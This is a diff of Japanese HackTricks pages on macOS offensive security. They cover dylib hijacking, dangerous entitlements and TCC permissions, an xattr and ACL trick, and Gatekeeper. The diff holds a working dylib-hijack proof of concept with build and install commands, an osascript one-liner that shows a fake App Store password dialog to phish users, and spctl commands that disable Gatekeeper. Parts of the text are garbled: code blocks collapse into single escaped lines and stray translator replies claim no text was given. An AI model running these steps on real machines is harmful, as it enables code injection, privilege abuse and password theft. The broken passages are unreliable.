cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% endcode %}
{% endtab %}
{% endtabs %}
前述の情報から、**ロードされたライブラリの署名をチェックしていない**ことと、**次の場所からライブラリをロードしようとしている**ことがわかります:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
しかし、最初のものは存在しません:
```bash
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
そうです、それをハイジャックすることが可能です!**任意のコードを実行し、同じ機能をエクスポートする**合法的なライブラリを再エクスポートすることで、ライブラリを作成してください。そして、期待されるバージョンでコンパイルすることを忘れないでください:
{% code title="lib.m" %}
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}
コンパイルします:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
ライブラリ内で作成された再エクスポートパスは、ローダーに対して相対的です。これをエクスポートするライブラリへの絶対パスに変更しましょう:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
{% endcode %}
最後に、それを**ハイジャックされた場所**にコピーします:
{% code overflow="wrap" %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
そして、バイナリを**実行**して、**ライブラリがロードされた**ことを確認します:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</code></pre>
{% hint style="info" %}
この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての素晴らしい解説は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) で見つけることができます。
{% endhint %}
## より大規模なスケール
予期しないバイナリにライブラリを注入しようとする場合、イベントメッセージをチェックして、プロセス内でライブラリがロードされたタイミングを確認できますこの場合、printfと`/bin/bash`の実行を削除します)。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -1,4 +1,4 @@
# macOS危険な権限とTCC権限
# macOS Dangerous Entitlements & TCC perms
<details>
@ -6,39 +6,39 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **Discordグループ**に**参加**する💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **Discordグループ**に**参加**する💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
{% hint style="warning" %}
**`com.apple`**で始まる権限はサードパーティには利用できず、Appleのみがそれを付与できることに注意してください。
\*\*`com.apple`\*\*で始まる権限はサードパーティには利用できず、Appleのみがそれを付与できることに注意してください。
{% endhint %}
## High
### `com.apple.rootless.install.heritable`
権限**`com.apple.rootless.install.heritable`**は**SIPをバイパス**することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install.heritable)を参照してください。
権限\*\*`com.apple.rootless.install.heritable`**は**SIPをバイパス\*\*することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install.heritable)を参照してください。
### **`com.apple.rootless.install`**
権限**`com.apple.rootless.install`**は**SIPをバイパス**することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install)を参照してください。
権限\*\*`com.apple.rootless.install`**は**SIPをバイパス\*\*することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install)を参照してください。
### **`com.apple.system-task-ports`(以前は`task_for_pid-allow`と呼ばれていました)**
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することを可能にします。詳細は[こちら](../mac-os-architecture/macos-ipc-inter-process-communication/)を参照してください。
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することを可能にします。詳細は[こちら](../macos-proces-abuse/macos-ipc-inter-process-communication/)を参照してください。
### `com.apple.security.get-task-allow`
この権限は、他のプロセスが**`com.apple.security.cs.debugger`**権限を持つプロセスのタスクポートを取得し、この権限を持つバイナリで実行されるプロセスにコードを**インジェクト**することを可能にします。詳細は[こちら](../mac-os-architecture/macos-ipc-inter-process-communication/)を参照してください。
この権限は、他のプロセスが\*\*`com.apple.security.cs.debugger`**権限を持つプロセスのタスクポートを取得し、この権限を持つバイナリで実行されるプロセスにコードを**インジェクト\*\*することを可能にします。詳細は[こちら](../macos-proces-abuse/macos-ipc-inter-process-communication/)を参照してください。
### `com.apple.security.cs.debugger`
デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されています。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは\*\*`Get Task Allow`権限を持たないプロセス\*\*のタスクポートを取得できず、したがってシステム整合性保護によって保護されています。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
### `com.apple.security.cs.disable-library-validation`
@ -46,7 +46,7 @@ HackTricksをサポートする他の方法
### `com.apple.private.security.clear-library-validation`
この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、ライブラリの検証を**直接無効にする**のではなく、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
この権限は\*\*`com.apple.security.cs.disable-library-validation`**と非常に似ており、ライブラリの検証を**直接無効にする**のではなく、プロセスが**`csops`システムコールを呼び出して無効にする\*\*ことを可能にします。\
詳細は[こちら](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)を参照してください。
### `com.apple.security.cs.allow-dyld-environment-variables`
@ -57,7 +57,7 @@ HackTricksをサポートする他の方法
[**このブログ**](https://objective-see.org/blog/blog\_0x4C.html) **および** [**このブログ**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)によると、これらの権限は**TCC**データベースを**変更**することを可能にします。
### **`system.install.apple-software`**および**`system.install.apple-software.standar-user`**
### **`system.install.apple-software`および`system.install.apple-software.standar-user`**
これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にします。これは**特権昇格**に役立ちます。
@ -67,7 +67,7 @@ HackTricksをサポートする他の方法
### **`com.apple.private.icloud-account-access`**
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信し、**iCloudトークンを提供**できます。
権限\*\*`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`\*\* XPCサービスと通信し、**iCloudトークンを提供**できます。
**iMovie**と**Garageband**にはこの権限がありました。
@ -88,6 +88,7 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
### `keychain-access-groups`
この権限は、アプリケーションがアクセスできる**キーチェーン**グループのリストです:
```xml
<key>keychain-access-groups</key>
<array>
@ -98,6 +99,7 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
<string>IMCore</string>
</array>
```
### **`kTCCServiceSystemPolicyAllFiles`**
**フルディスクアクセス**権限を与え、持っているできるTCCの最高権限の1つです。
@ -107,10 +109,10 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
アプリケーションが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
ユーザーにパスワードを求めさせるなど、それらの他のアプリに付与された権限を悪用することができます。
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
{% endcode %}
またはそれらを**任意のアクション**を実行させることができます。
@ -142,7 +144,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.security.cs.allow-unsigned-executable-memory`
この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となった**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりすることができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となった\*\*`NSCreateObjectFileImageFromMemory`\*\*(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりすることができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
{% hint style="danger" %}
この権限を含めると、アプリがメモリの安全でないコード言語に一般的な脆弱性にさらされる可能性があります。この例外がアプリに必要かどうかを慎重に検討してください。
@ -167,12 +169,14 @@ TODO
### `kTCCServiceAll`
このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります。
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
### **`kTCCServicePostEvent`**
<details>

View file

@ -1,3 +1,5 @@
# macOS xattr-acls extra stuff
```markdown
# macOS xattr-acls 追加情報
@ -15,6 +17,7 @@ HackTricksをサポートする他の方法:
</details>
```
```bash
rm -rf /tmp/test*
echo test >/tmp/test
@ -26,49 +29,26 @@ group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writ
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
```
<details>
<summary>get_aclsのコード</summary>
```c
// gcc -o get_acls get_acls
#include <stdio.h>
#include <stdlib.h>
#include <sys/acl.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
\`\`\`c // gcc -o get\_acls get\_acls #include #include #include
const char *filepath = argv[1];
acl_t acl = acl_get_file(filepath, ACL_TYPE_EXTENDED);
if (acl == NULL) {
perror("acl_get_file");
return 1;
}
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
char *acl_text = acl_to_text(acl, NULL);
if (acl_text == NULL) {
perror("acl_to_text");
acl_free(acl);
return 1;
}
const char \*filepath = argv\[1]; acl\_t acl = acl\_get\_file(filepath, ACL\_TYPE\_EXTENDED); if (acl == NULL) { perror("acl\_get\_file"); return 1; }
printf("ACL for %s:\n%s\n", filepath, acl_text);
char \*acl\_text = acl\_to\_text(acl, NULL); if (acl\_text == NULL) { perror("acl\_to\_text"); acl\_free(acl); return 1; }
// Convert acl_text to hexadecimal and print it
printf("ACL in hex: ");
for (char *c = acl_text; *c != '\0'; c++) {
printf("\\x%02x", (unsigned char)*c);
}
printf("\n");
printf("ACL for %s:\n%s\n", filepath, acl\_text);
acl_free(acl);
acl_free(acl_text);
return 0;
}
```
// Convert acl\_text to hexadecimal and print it printf("ACL in hex: "); for (char \*c = acl\_text; \*c != '\0'; c++) { printf("\x%02x", (unsigned char)\*c); } printf("\n");
acl\_free(acl); acl\_free(acl\_text); return 0; }
````
Since you haven't provided any English text to translate, I'm unable to proceed with the translation. Please provide the specific English content from the file you mentioned, and I'll be happy to translate it into Japanese for you.
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
@ -76,125 +56,8 @@ mkdir start
mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>set_xattrのコード</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
````
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
print_xattrs(filepath);
return 0;
}
```
</details>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
rm -rf start
# extract the files
unzip protected.zip
# Replace the name of the xattr here (if you put it before ditto would have destroyed it)
python3 -c "with open('._protected', 'rb+') as f: content = f.read().replace(b'com.apple.xxx.xxxx', b'com.apple.acl.text'); f.seek(0); f.write(content); f.truncate()"
# zip everything back together
rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
```
Since the provided text does not contain any content to translate, there is no translation to provide. If you have specific content you would like translated, please provide the text.
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまで AWS ハッキングを学ぶ</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks にあなたの会社を広告したい場合**や**HackTricks を PDF でダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)や[**telegram グループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを共有してください。
</details>

View file

@ -7,7 +7,7 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
@ -37,6 +37,7 @@ macOS Catalinaからは、**GatekeeperはアプリケーションがAppleによ
#### 署名の確認
いくつかの**マルウェアサンプル**をチェックする際は、常にバイナリの**署名を確認**する必要があります。署名した**開発者**がすでに**マルウェア**と**関連付けられている**可能性があるためです。
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -53,6 +54,7 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Appleのータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護する追加のセーフガードとして機能します。これには、開発者が自分のアプリケーションをAppleのータリサービスに提出し、App Reviewとは異なることに注意する必要があります。このサービスは、提出されたソフトウェアを悪意のあるコンテンツやコードサイニングに関する潜在的な問題を検査する自動システムです。
@ -66,10 +68,12 @@ Appleのータリゼーションプロセスは、ユーザーを潜在的に
GateKeeperは、実行される信頼されていないアプリケーションを防ぐいくつかのセキュリティコンポーネントであり、またその1つでもあります。
GateKeeperのステータスを確認することができます:
```bash
# Check the status
spctl --status
```
{% hint style="danger" %}
GateKeeperの署名チェックは、**Quarantine属性を持つファイル**にのみ実行されることに注意してください。
{% endhint %}
@ -78,7 +82,8 @@ GateKeeperは、**設定と署名**に基づいてバイナリが実行可能か
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
この構成を保持するデータベースは、**`/var/db/SystemPolicy`**にあります。これをルートとして次のコマンドで確認できます:
この構成を保持するデータベースは、\*\*`/var/db/SystemPolicy`\*\*にあります。これをルートとして次のコマンドで確認できます:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -92,10 +97,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
注意してください、最初のルールは "**App Store**" で終わり、2番目のルールは "**Developer ID**" で終わり、前の画像では **App Store および識別された開発者からのアプリの実行が有効** になっていました。\
その設定を App Store に変更すると、"**Notarized Developer ID**" ルールが消えます。
**GKE タイプ** のルールも何千もあります。
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -104,13 +111,17 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
これらは、**`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**、および**`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**から来るハッシュです。
これらは、**`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**、および\*\*`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`\*\*から来るハッシュです。
または、前述の情報をリストすることもできます:
```bash
sudo spctl --list
```
オプション**`--master-disable`**と**`--global-disable`**は、**`spctl`**の署名チェックを完全に**無効**にします。
オプション\*\*`--master-disable`**と**`--global-disable`**は、**`spctl`**の署名チェックを完全に**無効\*\*にします。
```bash
# Disable GateKeeper
spctl --global-disable
@ -120,15 +131,19 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
完全に有効にすると、新しいオプションが表示されます:
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
GateKeeperによってアプリが許可されるかどうかを**チェック**することができます。
```bash
spctl --assess -v /Applications/App.app
```
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -143,6 +158,7 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
### ファイルの隔離
特定のmacOS **アプリケーション**Webブラウザやメールクライアントなどが、アプリケーションやファイルを**ダウンロード**する際に、一般的に「**隔離フラグ**」として知られる**拡張ファイル属性**をダウンロードされたファイルに**添付**します。この属性は、ファイルを信頼できないソースインターネットから取得したものとしてマークし、潜在的なリスクを持つ可能性があることを示すセキュリティ対策として機能します。ただし、一部のアプリケーションはこの属性を添付しないこともあります。たとえば、一般的なBitTorrentクライアントソフトウェアは通常、このプロセスをバイパスします。
@ -164,6 +180,7 @@ spctl --assess -v /Applications/App.app
{% endhint %}
その状態を**確認**し、有効化/無効化することが可能です(ルート権限が必要):
```bash
spctl --status
assessments enabled
@ -172,13 +189,17 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
あるファイルが拡張属性を持っているかどうかを次のようにして見つけることもできます:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
**拡張属性**の**値**をチェックし、quarantine属性を書き込んだアプリを特定します。
```bash
xattr -l portada.png
com.apple.macl:
@ -194,70 +215,34 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
実際にプロセスは「作成するファイルにクォータンティンフラグを設定できる可能性があります」作成したファイルにUSER\_APPROVEDフラグを適用しようとしましたが、適用されませんでした:
<details>
<summary>ソースコード クォータンティンフラグを適用</summary>
```c
#include <stdio.h>
#include <stdlib.h>
enum qtn_flags {
QTN_FLAG_DOWNLOAD = 0x0001,
QTN_FLAG_SANDBOX = 0x0002,
QTN_FLAG_HARD = 0x0004,
QTN_FLAG_USER_APPROVED = 0x0040,
};
\`\`\`c #include #include
#define qtn_proc_alloc _qtn_proc_alloc
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
#define qtn_proc_free _qtn_proc_free
#define qtn_proc_init _qtn_proc_init
#define qtn_proc_init_with_self _qtn_proc_init_with_self
#define qtn_proc_set_flags _qtn_proc_set_flags
#define qtn_file_alloc _qtn_file_alloc
#define qtn_file_init_with_path _qtn_file_init_with_path
#define qtn_file_free _qtn_file_free
#define qtn_file_apply_to_path _qtn_file_apply_to_path
#define qtn_file_set_flags _qtn_file_set_flags
#define qtn_file_get_flags _qtn_file_get_flags
#define qtn_proc_set_identifier _qtn_proc_set_identifier
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
typedef struct _qtn_proc *qtn_proc_t;
typedef struct _qtn_file *qtn_file_t;
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
int qtn_proc_apply_to_self(qtn_proc_t);
void qtn_proc_init(qtn_proc_t);
int qtn_proc_init_with_self(qtn_proc_t);
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
qtn_proc_t qtn_proc_alloc();
void qtn_proc_free(qtn_proc_t);
qtn_file_t qtn_file_alloc(void);
void qtn_file_free(qtn_file_t qf);
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
uint32_t qtn_file_get_flags(qtn_file_t qf);
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
